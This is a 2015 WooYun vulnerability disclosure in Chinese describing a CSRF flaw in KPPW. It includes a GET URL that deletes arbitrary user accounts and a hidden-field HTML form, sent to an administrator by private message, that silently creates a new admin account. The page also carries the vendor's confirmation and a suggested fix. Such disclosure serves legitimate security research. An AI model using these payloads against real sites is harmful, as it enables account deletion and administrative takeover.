当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092952

漏洞标题：KPPW最新版本(Csrf删除任意帐号/添加管理员)

相关厂商：keke.com

漏洞作者： 浅蓝

提交时间：2015-01-26 11:03

修复时间：2015-04-26 11:04

公开时间：2015-04-26 11:04

漏洞类型：CSRF

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-26： 细节已通知厂商并且等待厂商处理中
2015-01-26： 厂商已经确认，细节仅向厂商公开
2015-01-29： 细节向第三方安全合作伙伴开放
2015-03-22： 细节向核心白帽子及相关领域专家公开
2015-04-01： 细节向普通白帽子公开
2015-04-11： 细节向实习白帽子公开
2015-04-26： 细节向公众公开

简要描述：

求高Rank 么么哒~

详细说明：


http://localhost/KPPW/index.php?do=user&view=message&op=send
http://localhost/KPPW/index.php?do=pubtask&id=1&step=step2
收件人填目标用户名
标题随便
内容没有转义
不过过滤了敏感标签和 onerror onload等事件。
先来看第一个删除任意帐号
http://localhost/KPPW/admin/index.php?do=user&view=list&op=del&edituid=5529
GET提交此URL 就会删除ID为 “5529”的用户
接着是添加管理员
在添加用户处抓包
提交数据为

edituid=&fds[username]=qianlan&fds[truename]=&fds[phone]=&fds[qq]=&fds[indus_pid]=&fds[indus_id]=&fds[birthday]=&fds[password]=111111&fds[email]=x@q.c&fds[group_id]=1&is_submit=1


现在来构造一个表单

<form action="http://localhost/KPPW/admin/index.php?do=user&view=add&edituid=
" method="post">
	<input type=hidden name="edituid" value="">
	<input type=hidden name="fds[username]" value="qianlan">
	<input type=hidden name="fds[truename]" value="">
	<input type=hidden name="fds[phone]" value="">
	<input type=hidden name="fds[qq]" value="">
	<input type=hidden name="fds[indus_pid]" value="">
	<input type=hidden name="fds[indus_id]" value="">
	<input type=hidden name="fds[birthday]" value="">
	<input type=hidden name="fds[password]" value="123456">
	<input type=hidden name="fds[email]" value="x@q.c">
	<input type=hidden name="fds[group_id]" value="1">
	<input type="submit" name="is_submit" value="1">
</form>


其他比较敏感的都隐藏起来。 因为script 标签被过滤。 不能自动提交。
所以放出来个按钮，发给人家一看 一个按钮 是谁都会有好奇心 肯定会点下这个按钮。
将此发给管理员。 就坐等添加新帐号吧，或者可以不用写表单， 嵌入其他URL， 还可以自动提交。 此处自由发挥
现在来用小号给管理员发个私信

$2V)G`FW$C6DTQ_S{V{W2ZT.png


U[R]SS{OZB[6BPNH{$1U~[S.png


现在来看看效果 ， 出来一个小按钮 接着点击。
我们现在来后台的会员管理看看是否添加了一个名为qianlan的管理员

%6$5J@$$9HW{@~}1[L~TJ35.png


添加成功，用户组为管理员
帐号qianlan 密码 123456

漏洞证明：

%6$5J@$$9HW{@~}1[L~TJ35.png

修复方案：

用PHP的html转义函数对数据进行过滤

版权声明：转载请注明来源 浅蓝@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-01-26 17:10

厂商回复：

谢谢提交bug

最新状态：

暂无